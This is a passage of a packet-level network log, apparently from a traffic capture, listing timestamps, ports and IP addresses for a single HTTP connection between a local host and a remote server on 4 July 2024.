Jul 4, 2024 20:34:12.171873093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.171881914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.171892881 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.171909094 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.171933889 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.262022972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.262047052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.262058973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.262068987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.262079000 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.262089014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.262095928 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.262100935 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.262130976 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.262166977 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.262245893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.262276888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.262285948 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.262290955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.262327909 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.262341976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.262352943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.262362957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.262372971 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.262388945 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.262401104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.262437105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.262504101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.262546062 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.284930944 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.284951925 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.284962893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.284972906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.284984112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.284987926 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.284992933 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285010099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285011053 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285021067 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285031080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285039902 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285044909 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285049915 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285058022 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285059929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285069942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285079002 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285093069 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285093069 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285109997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285114050 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285121918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285130978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285132885 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285145998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285156965 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285161972 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285166025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285176992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285186052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285186052 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285197020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285204887 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285207987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285217047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285227060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285235882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285243988 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285247087 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285257101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285262108 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285270929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285278082 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285285950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285295963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285295963 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285305977 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285310984 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285341024 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285348892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285360098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285368919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285379887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285391092 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285413980 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285451889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285461903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285471916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285481930 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285490990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285501003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285505056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285520077 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285535097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285733938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285779953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285785913 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285790920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285818100 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285828114 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285847902 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285859108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285868883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285880089 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285892963 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285909891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285937071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.285969973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285981894 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.285993099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.286003113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.286010027 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.286014080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.286024094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.286026955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.286034107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.286051035 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.286078930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.290200949 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.290213108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.290224075 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.290246010 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.290281057 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.290307999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.290318966 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.290344000 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.290370941 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.290426016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.290436983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.290447950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.290457964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.290467978 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.290467978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.290477991 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.290494919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.290496111 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.290505886 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.290515900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.290519953 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.290527105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.290532112 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.290537119 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.290546894 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.290565968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.290790081 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.290834904 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.290853977 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.290863991 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.290873051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.290895939 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.290923119 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.290982962 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.290993929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.291003942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.291013956 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.291024923 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.291055918 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.291110992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.291121006 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.291130066 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.291141033 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.291156054 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.291189909 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.291241884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.291251898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.291263103 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.291274071 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.291284084 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.291287899 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.291301012 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.291310072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.291332006 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.291364908 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.292161942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.292172909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.292182922 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.292191982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.292201996 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.292203903 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.292238951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.357675076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.357696056 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.357705116 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.357724905 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.357753992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.357755899 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.357764959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.357774019 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.357784033 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.357795000 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.357810974 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.357835054 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.357908964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.357943058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.357947111 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.357953072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.357984066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.357994080 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.358012915 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.358022928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.358031034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.358036041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.358057976 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.358084917 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.358146906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.358156919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.358166933 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.358175039 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.358184099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.358192921 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.358192921 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.358201981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.358210087 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.358222008 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.358252048 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.379909992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.379961014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.379970074 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380007029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380017042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380018950 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.380053043 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.380063057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380072117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380074024 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.380081892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380115986 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.380184889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380220890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380230904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380230904 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.380264997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.380275011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380320072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.380323887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380333900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380343914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380377054 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.380400896 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.380429029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380439043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380446911 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380455017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380464077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380470037 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.380500078 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380502939 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.380508900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380517960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380527020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380534887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380541086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.380544901 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380558014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.380584002 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.380606890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380676031 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.380681992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380692005 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380702019 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380709887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380717039 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.380732059 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.380748034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.380748034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.380812883 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.381141901 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381150961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381160021 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381187916 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.381213903 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.381282091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381290913 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381299973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381309986 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381333113 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.381361008 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.381380081 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381388903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381398916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381414890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381419897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.381427050 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381436110 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.381436110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381464005 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.381481886 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.381500959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381511927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381520987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381530046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381537914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381541967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.381567955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.381577015 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.381635904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381645918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381654024 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381663084 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381674051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381685019 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381692886 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381694078 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.381701946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381711006 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381716013 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.381726980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381727934 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.381742954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.381764889 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.381881952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381890059 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381902933 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381941080 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.381949902 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.381985903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.381994963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.382004976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.382014036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.382024050 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.382025003 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.382035017 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.382193089 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.382230043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.382230997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.382230997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.382239103 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.382267952 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.382282019 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.382379055 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.382388115 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.382395983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.382405043 CEST	80	49731	77.91.77.81	192.168.2.4
